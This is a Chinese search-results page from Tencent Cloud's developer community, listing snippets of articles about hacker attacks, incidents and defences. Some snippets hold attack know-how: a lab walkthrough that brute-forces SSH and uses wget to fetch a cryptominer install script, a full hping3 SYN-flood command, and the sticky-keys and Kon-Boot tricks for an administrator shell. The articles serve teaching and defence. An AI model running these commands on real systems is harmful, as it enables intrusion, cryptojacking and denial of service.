- 综合排序
- 最热优先
- 最新优先
- 来自专栏程序员互动联盟
史上最牛的5次黑客攻击！
好莱坞认为，黑客就像是使用计算机的黑魔导士。在电影中，计算机可以炸毁房屋，关闭公路，释放瘟疫还有引发女权运动。也许有人认为，好莱坞的想象力很丰满，但现实是骨感的。 3、黑客“绑架”医疗记录并索取钱财 在2012年7月，一组黑客入侵了一个外科医生在医疗实践中的计算机网络，然后将整个数据库中病人的医疗记录和其他敏感文件进行加密处理，让其他人永远都看不到。 之后黑客发布了一条信息说如果缴纳足额的赎金，才会将数据库恢复。然后外科医生们关闭了服务器，与警方联系，并通知他们的客户他们的信息已被泄露。 它执行一个不起眼的加密技术被称为前缀碰撞攻击。另外它还可以将自己从被感染的计算机自动删除并毁灭它的所有痕迹。 火焰在头五年时间里伪装成Microsoft软件更新，直到后来偶然的一次机会才在伊朗被发现。 5、 只针对伊朗核电厂的Stuxnet病毒 正如我们前面提到的第一项，事实证明，除了虚拟世界的东西，黑客同样会可以毁灭现实中的物体。
1.1K60发布于 2018-03-16 - 来自专栏重庆的技术分享区
注意以下5种黑客攻击小企业的方式
在过去的几年中发生了如此多的备受瞩目的黑客攻击和网络攻击，很容易陷入小企业很少成为攻击目标。毕竟，大企业可以提供更多，特别是涉及个人或敏感数据时 - 对吗？ 但，大错特错呀！！ 事实上，这些信息所表明的唯一事实就是每家企业，无论规模大小，，都必须更加关注如何保护自己免受外部黑客攻击和入侵。这包括采取必要的预防措施来保护你的客户。 为了更好地抵御外部入侵，研究黑客利用小企业的不同方式是有意义的。他们攻击弱势公司的方式有哪些?他们在寻找什么?你怎样才能减慢他们的进度或完全阻止他们的攻击? 销售点系统 最近有几个品牌受到销售点攻击，这些攻击提取并破坏了客户和收银员用于促进交易的系统。例如，Chipotle 成为网络钓鱼骗局的受害者，该骗局使得黑客可以窃取数百万客户的信用卡数据。 原文作者：Kayla Matthews 原文地址：https://www.informationsecuritybuzz.com/articles/watch-5-ways-hackers-target-small-businesses
76420发布于 2018-08-13 - 来自专栏译文
保护您的企业免受黑客攻击的5个技巧
虽然对小公司的攻击行为可能不会成为头条新闻 - 就算是已经传得人尽皆知了 - 但运营中的大量小型电子商务网站非常诱人，黑客自然不会放过它们。 凭借恶意机器人探测网站的漏洞，有效地自动化了网络黑客的攻击。 自动化的兴起扩大了攻击者的攻击范围，使小型企业变得与 Home Depot 或 Target 一样脆弱。如今，所有在线业务都面临风险。 这些攻击经常伴随着勒索声明，需要缴纳资金来停止 DDoS 攻击；而其它攻击可能只是一个烟幕弹，让黑客有时间探测网站的漏洞。 或者，攻击者针对他们在社交网络上发现的管理员，使用鱼叉式网络钓鱼攻击来获取敏感数据。 相关：为什么您的密码会是黑客眼中的诱饵（信息图） 防范此问题就和实现双因素身份验证一样简单。 5. 和你的“朋友”们保持亲密 根据 Ponemon 研究所的研究，第三方提供商 - 网站托管商，支付处理商，呼叫中心，粉碎机 - 可能对信息泄漏的可能性和范围产生重大影响。
1.7K00发布于 2018-08-08 - 来自专栏白安全组
黑客攻击之物理攻击教学
UEFI 要检查UEFI的设置并执行某种攻击，您应该尝试使用chipsec。 盗梦空间(INCEPTION) Inception是利用基于PCI的DMA的物理内存操纵和黑客工具。 live CD/USB 粘滞键等 SETHC：按住SHIFT键5次时，将调用sethc.exe UTILMAN：通过按WINDOWS + U调用Utilman.exe OSK：按下WINDOWS + U Kon-Boot还执行StickyKeys技巧，因此您可以按Shift 5次以获得Administrator cmd。 您还可以使用Passware Kit Forensic尝试暴力攻击。
2.2K20发布于 2021-04-16 - 来自专栏紫禁玄科
黑客普遍攻击DDOS解释
本文主要介绍了网络黑客常用攻击DDos攻击的全面分析。 在网络信息安全攻击的所有方法中。 其中，ddos进攻会对你的应用程序造成最大的伤害。 从黑客攻击的各种方法和破坏来看，Dos被认为是一种非常简单但非常有效的攻击方式。 它的目的是拒绝你的服务浏览，破坏组织的正常运作，最终它会使你的一些Internet连接和应用程序无效。 让我们来看看这些常见的黑客程序。 特里诺的进攻方法是向黑客攻击目标服务器的任意端口号发出一个完整的4字数udp协议包。 在处理这些超出处置能力的垃圾数据文件的过程中。 根据最近的安全研究， 在线黑客每周攻击多达5000次。 这表明我们的网络空间仍然是危险的。 互联网上所谓的网络黑客的破坏仍然猖獗. 免责声明：文章《黑客普遍攻击DDOS解释》来至网络，文章表达观点不代表本站观点，文章版权属于原作者所有，若有侵权，请联系处理！
82910编辑于 2022-03-24 - 来自专栏信安之路
模拟挖矿黑客攻击过程
，今天分享一下如何利用 Linux 常规的 SSH 弱口令爆破 Linux 服务器并利用该服务器进行挖矿及对其它网站进行 DDoS 攻击，攻击即分析流程较为简单，如有不适之处，欢迎斧正。 攻击流程 ? 利用安全工具对指定的平台服务器（该服务器提供了常见的网络服务，例如 Web 服务、终端服务等）进行 SSH 暴力破解攻击。 利用服务器挖矿 获取安装脚本 wget --no-check-certificate https://www.yiluzhuanqian.com/soft/script/mservice_2_5.sh DDoS 攻击 利用该服务器对(网站: Cherishao.com ) DDoS 攻击。 Ddos 攻击后网站状态： ? 通信特征流分析 利用 Wireshark 抓包分析 挖矿数据流分析 ?
2.9K00发布于 2018-08-08 - 来自专栏漏斗社区
专属| Dell遭受黑客攻击
假装认真工作篇 【热搜】戴尔披露网络攻击事件 日前，戴尔发布公告称：“检测并瓦解了一场针对 Dell.com 的网络攻击，未经授权的攻击者试图窃取戴尔的客户信息，但仅限于姓名、电子邮件地址、以及散列（哈希 【热搜】热门JavaScript库被注入恶意代码 近日，黑客利用该恶意代码获得(合法)访问热门JavaScript库，通过注射恶意代码从BitPay的Copay钱包应用中窃取比特币和比特币现金。 攻击者利用该漏洞，通过远程代码注入，可在未经授权的情况下，向网站上路径可控的缓存文件写入任意内容，进而可能在目标网站上植入后门，对目标网站进行远程命令执行攻击。目前，该漏洞的综合评级为“高危”。 ?
1.2K30发布于 2018-12-21 - 来自专栏FreeBuf
DarkCrewFriends黑客组织攻击分析
Check Point研究人员最近发现黑客组织“DarkCrewFriends”发起的攻击活动，其主要目的是利用存在漏洞的PHP服务器组建僵尸网络。 恶意软件分析 攻击者使用的恶意软件具有如下功能： 1、同时开启多个进程 2、暂停脚本执行，避免被检测 3、远程执行命令 4、提取主机上所有正在运行的服务 5、下载上传FTP文件 6、扫描端口 7、发起多种类型 攻击者调查 根据代码和情报分析，这次攻击与黑客组织DarkCrewFriends有关。以下是一些线索： DarkCrewFriends在web shell代码中的签名： ? 该组织曾与一家意大利新闻网站的黑客攻击活动有关： ? 在黑客论坛中进行了更深入的搜索后找到名为“ SOULDRK”的用户，该用户公开了该组织的漏洞利用情况。 在查看黑客论坛中该用户的帖子时，推测该用户使用的可能是意大利语。 ? 该组织提供不同的服务，所有的服务都有明确定价，付款仅以BTC为单位。
80210发布于 2020-08-11 - 来自专栏FreeBuf
全球首个反黑客国家！对黑客攻击“say no”
你被人欺负了，第一反应可能是还手，那在网络世界中，被攻击的受害者能够采取同样的反制措施吗？ 答案是否定的。目前绝大多数国家尚未制定相关法律来支持企业或组织对黑客发起反击。 攻击者不再单纯加密数据，更多的勒索攻击开始窃取受害者敏感数据，挂到自己的“官网”上进行双重勒索，获得更大的收益。 随着近年来网络攻击越发猖獗，反击黑客合法化的呼声日益强烈。 近期，深受网络攻击困扰的澳大利亚宣布将通过政府层面的举措，对以该国组织为攻击目标的黑客进行反击，引发了行业担忧，这一做法究竟是能真正打击并震慑黑客，还是给网络空间带来更多风险和混乱？ 2022年9月，澳大利亚电信巨头Optus因为勒索攻击暴露了近1000万用户的敏感数据，并被勒索100万美元赎金；而仅仅一个月后，又有黑客攻击了澳大利亚健康保险公司Medibank，其所有390万用户的数据都遭到了泄露 【美国共和党众议员汤姆·格雷夫斯极力反对 ACDC 法案】 而在2021年，另一项名为《网络攻击响应选项研究法》的法案要求美国国土安全部评估并修订现行的《计算机滥用法》，为反击黑客的攻击者谋取适当规则和好处
61920编辑于 2023-04-12 - 来自专栏紫禁玄科
最可怕的黑客攻击APT
而这种攻击最主要的两个特点就是高级、持续。 高级指的是攻击手段高，攻击对象也高端，通常攻击对象是国家政府单位，政府或企业高管人员，国家机密军事机密等。 APT攻击的两个特点，听起来便令人害怕。 APT组织攻击手段 很明显，APT攻击并不是什么新鲜的黑客技术，而是一种攻击手段，它是结合全部攻击技术进行攻击，是一个综合体。 而附件的doc文档，自然是写着一些不太重要的内容，当然还配上了会议的logo之类的图片，这样更像是官方人员发送来的，但是当你打开文档时，背后已经执行已经捆绑好的木马，电脑瞬间沦为黑客的肉鸡，而如果这台电脑还是公司的电脑 而被攻击的人，却毫无察觉。攻击者便能长期潜伏着，这也是第三个特点，潜伏性。勒索病毒在爆发前，这漏洞也是存在的，但是可能已经被APT攻击者利用了很多次了，因为大多电脑都毫无防备。 APT攻击防御 大多数APT攻击似乎都无法被发现，行为隐蔽，但是归根到底APT攻击主要利用两个方式，渗透和社工，对于掌握重要信息的人来说，注重网络安全尤为重要，除了应对被攻击外，还必须应对被攻击后的后果
78710编辑于 2022-03-24 - 来自专栏云计算D1net
让云API远离黑客攻击
没有合适的安全措施，云API就会成为黑客的一扇门。那么如何确保云API的安全呢? 开发者可以使用云应用编程接口编码，而这个接口具备一项云提供商的服务。 但是同时对于云应用也是危险的，因为API也具备受攻击的一面，可能危害敏感业务数据。这意味着提供商和软件开发者需要按优先次序确定云API的安全。 云提供商和开发者应该针对常见威胁测试云API安全，比如注入式攻击和跨站伪造。对于云服务提供商正在创建的API，测试尤为重要。然而，用户应该独立的核实云API安全，因为其对于审计和法规遵从非常重要。
1.7K60发布于 2018-03-23 - 来自专栏Khan安全团队
知名博主被黑客攻击
当你面对黑客攻击，还在感到无助、不知如何是好的时候，我已经用上了 SafeLine - 雷池这款强大的 Web 应用防火墙。或许你会疑惑，我为什么如此推荐它？ 防护效果对比 核心功能 防护 Web 攻击 防爬虫, 防扫描 前端代码动态加密 基于源 IP 的访问速率限制 HTTP 访问控制 工作原理 实战部署 安装雷池一顿操作猛如虎（其实也就一条命令的事情） 操作系统 架构需要支持 ssse3 指令集 软件依赖：Docker 20.10.14 版本以上 软件依赖：Docker Compose 2.0.0 版本以上 最低资源需求：1 核 CPU / 1 GB 内存 / 5 仿黑客攻击 给他打一顿看看防御效果（直接xray起手攻击） 返回雷池管理页面，可以看到雷池精准的捕获到1.8k次的攻击，其中1.7k为400响应。 精准记录攻击事件、攻击方式、攻击ip（设置了记录不阻断） 更换防护模式（阻断攻击） 可以看到更换模式后恶意攻击均已进行拦截 攻击告警（类似机器人提醒） 这是一个非常人性化的功能（支持钉钉、飞书、企业微信
41410编辑于 2025-04-01 - 来自专栏网络
【黑客渗透】-- 中间人攻击
在这个篇章中，我们将不满足于仅仅搭建起稳固的网络和服务器，更将深入网络攻击. 学习新篇章的道路或许充满挑战，但正是这些挑战，将激发我们不断前行的动力。 一、什么是中间人攻击？ 中间人攻击（Man-in-the-MiddleAttack，简称“MITM攻击”）是一种“间接”的入侵攻击，这种攻击模式是通过各种技术手段将受入侵者控制的一台计算机虚拟放置在网络连接中的两台通信计算机之间 ，这台计算机就称为“中间人” 我们这一篇主要采用ARP欺骗手段来做中间人攻击 二、正文 1)实验目的 学习ARP欺骗的作用和用法; 如何实验ARP欺骗. 2)实验背景 你是一名cracker,最近你盯上了一位坏人在非法钓鱼的网站做些非法勾当 上面是我们今天模拟的钓鱼网站后台登录页面代码，使用文本文件将内容放进去后再将文件后缀名的.txt更该为.html就可以了 搭建网站 4.ARP查看 Windows 7 目前是没有我们kali的那个ARP地址 5.
47010编辑于 2024-10-17 - 来自专栏Khan安全团队
Web 应用程序黑客攻击：XXE 漏洞和攻击
XXE 攻击是最重要的 Web 应用程序攻击类型之一。这是X MLË X ternal é ntity注入攻击。这种类型的漏洞允许攻击者干扰应用程序对 XML 数据的处理。 当 Web 应用程序使用 XML 引用外部实体中的数据来传输数据时，就会发生攻击。 这种攻击允许攻击者访问或查看后端服务器文件系统上的文件或应用程序可以访问的其他数据。 什么是 XML？ 让我们看看如何利用 XXE 攻击来泄露服务器上的机密数据。 如果攻击者能够创建格式良好的 XML 并将其注入到请求中，则它可能能够访问 Web 服务器或其他资源上的外部数据。
1.1K30编辑于 2021-12-30 - 来自专栏网站漏洞修复
APP被黑客攻击如何解决
尽管国内近五年互联网安全行业发展迅速，优秀的安全防护产品层出不穷，但黑客攻击手段也日益变化，想从根本上解决互联网安全问题，目前无从下手。 ? 以前，我们谈过网站如何保护安全。 今天，我们谈谈移动应用程序如何保护安全、常见的攻击手段和解决方法。 一、APP二次包装。 如果开发团队不太了解如何操作，请与我们商量，对APP进行全面的安全评价，以黑客的想法对软件运行的各个环节进行渗透型测试攻击，挖掘APP存在的漏洞和风险。 四、通信协议解读。 结合挖掘出敏感信息和加密算法，黑客通常通过APP客户端和服务器通信进行渗透攻击，常见的通信方式有HTTP、Socket、WebSocket等，有这些重要信息后，伪造客户端指纹由于开发商缺乏安全意识，服务器和数据库陷落 否则，即使是更好的商业模式也无法忍受网络攻击的推敲。大型软件受到竞争对手和黑产组织的威胁，小型软件黑客通过扫描式随机攻击侵入服务器，稍有疏忽的平台被黑客利用。
1.8K20发布于 2021-04-16 - 来自专栏java 后台
勒索软件攻击事件-黑客攻防策略
这次黑客攻击影响了该银行在美国的子公司——工银金融服务有限责任公司（ICBCFS）。由于这次攻击，ICBCFS 的部分内部系统中断，严重扰乱了美国国债市场。 黑客攻击 勒索软件的工作原理，勒索软件通过加密受害者的数据，然后要求支付赎金以获取解密密钥。Lockbit 等高级勒索软件甚至具备自我传播功能，能在网络中迅速蔓延。 攻击软件的入侵途径，黑客通常通过钓鱼邮件、软件漏洞或者弱密码攻击入侵目标网络。在工商银行的案例中，具体的入侵手段尚未公开，但这些常见手段值得警惕。 5.交易与解锁（可选）： 受害者支付赎金后，攻击者可能（但不总是）提供解密密钥。 6.数据泄露威胁（增加压力）： 若受害者拒绝支付赎金，攻击者可能威胁公开或销毁数据。 结论 该银行此次遭受的勒索软件攻击是一个警钟，提醒所有金融机构加强网络安全。通过综合的防御策略和员工培训，可以大大降低被黑客攻击的风险。
91751编辑于 2023-11-15 - 来自专栏网站漏洞修补
网站被黑如何应对黑客入侵攻击？
其中，最严重的问题是网站被黑客攻击。那么，何谓网站被黑？它可能会给企业和用户带来哪些风险？一、网站被黑的定义及类型网站被黑指的是黑客利用漏洞或者弱密码等方式，入侵并控制了您的网站。 常见的网站被黑手段包括但不限于DDoS攻击、SQL注入、XSS攻击等。在这些攻击中，DDoS攻击是最为常见的，它通过向目标服务器发送大量流量请求，使得服务器无法正常响应用户请求。 二、网站被黑的风险网站被黑可能会导致严重的后果，如下所述：用户数据泄露：一旦您的网站遭到攻击，黑客有可能获取用户及您的敏感信息，例如个人信息、信用卡数据等重要数据，这将对用户信任产生负面影响，从而影响企业形象 使用安全的服务器和防火墙：使用安全的服务器或云服务，防止黑客攻击。同时，利用防火墙、入侵检测等技术来保障网站的安全性。数据备份：及时备份您的数据，以免失去重要信息。 培训员工：进行信息安全意识培训，教育员工如何提升密码安全性、认识网络威胁，这样可以大幅降低黑客的攻击成功率。
2.1K40编辑于 2023-05-16 - 来自专栏安恒信息
攻击.CN域名黑客在青岛落网
8月25日凌晨，中国.CN域名解析出现大规模解析故障，国家域名解析节点受到拒绝服务攻击。国家互联网应急中心CNCERT/CC运行管理部处长王明华9月23日透露，这名黑客已经于几日前在山东青岛被抓获。 8月25日凌晨零时左右，国家域名解析节点受到拒绝服务攻击，受到影响的涉及大量.cn域名网站。 CNNIC当日约十点半左右发出通告称，经CNNIC处置，至2时许，服务恢复正常，凌晨3时通过官微发出通告。 凌晨4时许，国家域名解析节点再次受到有史以来最大规模的拒绝服务攻击，部分网站解析受到影响，导致访问缓慢或中断。 王明华透露，经过调查发现，攻击者本意是要攻击一个游戏的私服网站域名，后来想攻击.cn达到这个目的。“由于这次攻击是真实地址攻击，我们就有条件追溯这个黑客。前几天这个黑客已经在山东青岛被抓获。” 我国有大量网站被植入“后门”“暗链”等隐蔽性攻击。境外1.6万个IP通过植入‘后门’方式控制着我国3.3万个网站，数量非常惊人。”王明华说。
14.9K41发布于 2018-04-09 - 来自专栏企鹅号快讯
黑客XSS攻击原理 真是叹为观止！
网络世界中的黑客XSS攻击原理 在现实世界的攻击实例中，保存型XSS漏洞可能会造成严重后果的特点表现得非常明显。 当收件人查阅电子邮件时，邮件内容在浏览器中显示；Web邮件应用程序的这种行为本身就存在着保存型XSS攻击风险。 但是，近年来，人们已经发现各种避开这些过滤的方法，攻击者可以专门创建一封电子邮件，只要受害者在Web邮件应用程序中查看这封邮件，他就可以成功执行任意 JavaScript 脚本。 2005年，社交网络站点 MySpace 被发现易于受到保存型XSS攻击。 为执行各种必要的请求，Samy 在攻击中使用了Ajax技术（请参阅后文对Ajax的补充说明）。
3.3K100发布于 2018-01-10 - 来自专栏zaking's
黑客玩具入门——8、其他攻击手段
1、拒绝服务攻击 使用某些手段故意占用某一系统对外服务的有限资源，从而导致其无法正常工作的行为就是拒绝服务攻击。实际上拒绝服务攻击并不是一个攻击方式，它是一类具有相似特征的攻击方式的集合。 命令：hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source [目标ip] 3.传输层的拒绝服务攻击 4.基于应用层的拒绝服务攻击 5.DDOS 攻击 大家常说的DDOS攻击，翻译过来就是分布式拒绝服务攻击，也就是很多的机器同时对目标发起拒绝服务攻击，这就是为什么DDOS往往和肉鸡这个词一起出现的原因。 5、扫码控制 实践步骤： 修改虚拟机的联网模式为桥接模式 启动beef框架，打开后设置一个你记得住的密码。 5.安装并打开游戏。 6.然后，做之前学过的事吧！ 7、DirBuster目录爆破 要相对一个目标站点做渗透测试，首先要搞清楚的就是目标的目录结构。这个任务可以交给DirBuster来做。
53611编辑于 2023-12-02
腾讯云开发者
Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 
粤公网安备44030502008569号
腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号